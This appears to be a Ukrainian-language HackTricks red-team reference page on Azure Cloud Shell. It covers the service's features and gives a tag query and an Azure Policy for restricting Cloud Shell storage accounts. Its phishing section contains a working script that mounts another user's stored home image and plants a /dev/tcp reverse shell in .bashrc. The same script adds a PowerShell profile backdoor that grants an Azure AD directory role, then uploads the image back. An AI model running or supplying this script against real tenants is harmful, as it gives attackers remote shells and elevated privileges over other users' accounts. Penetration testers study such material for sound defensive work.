Az - Cloud Shell

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Azure Cloud Shell

Azure Cloud Shell - це інтерактивний, автентифікований термінал, доступний через браузер, призначений для управління ресурсами Azure, що пропонує гнучкість роботи як з Bash, так і з PowerShell. Він працює на тимчасовому хості, що закривається після 20 хвилин бездіяльності, зберігаючи файли в місці $HOME за допомогою файлового сховища обсягом 5 ГБ. Cloud Shell можна отримати через кілька точок, включаючи портал Azure, shell.azure.com, документацію Azure CLI та PowerShell, мобільний додаток Azure та розширення Azure Account для Visual Studio Code.

Не існує дозволів, призначених для цього сервісу, тому немає технік підвищення привілеїв. Також немає жодного виду перерахунку.

Основні функції

  • Попередньо встановлені інструменти: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакети та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list".
  • Диск Azure (Azure:): PowerShell в Azure Cloud Shell включає диск Azure (Azure:), що дозволяє легко навігувати ресурсами Azure, такими як Compute, Network та Storage, використовуючи команди, схожі на файлову систему. Перейдіть на диск Azure за допомогою cd Azure: і поверніться до домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати cmdlet Azure PowerShell для управління ресурсами з будь-якого диска.
  • Встановлення користувацьких інструментів: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу налаштування середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію до своїх конкретних потреб.
  • $HOME збереження: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання.
  • Вибір не підключати зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується.
  • Щоб зберегти файли між сесіями, вам надається можливість підключити обліковий запис зберігання, який автоматично підключається як $HOME\clouddrive, з вашим каталогом $HOME збереженим як .img файл у файловому сховищі.

Фішинг у Cloud Shell

Якщо зловмисник знайде зображення інших користувачів у обліковому записі зберігання, до якого він має доступ на запис і читання, він зможе завантажити зображення, додати бекдор на bash і PS у нього та завантажити його назад до облікового запису зберігання, щоб наступного разу, коли користувач отримує доступ до оболонки, команди будуть автоматично виконані.

  • Завантажити, додати бекдор і завантажити зображення:
bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
  • Потім, фіште користувача, щоб отримати доступ до https://shell.azure.com/

Знайти та заборонити автоматичні облікові записи зберігання Cloud Shell

Облікові записи зберігання, створені Cloud Shell, позначені ms-resource-usage:azure-cloud-shell. Можливо створити політику ресурсів Azure, яка забороняє створення ресурсів з цим тегом.

Знайдіть всі облікові записи зберігання, створені Cloud Shell, за тегами:

bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'

Політика, що забороняє створення автоматичних облікових записів зберігання для зберігання в хмарному оболонці на основі тегів:

json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}

References

Persistence

Az - Cloud Shell Persistence

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks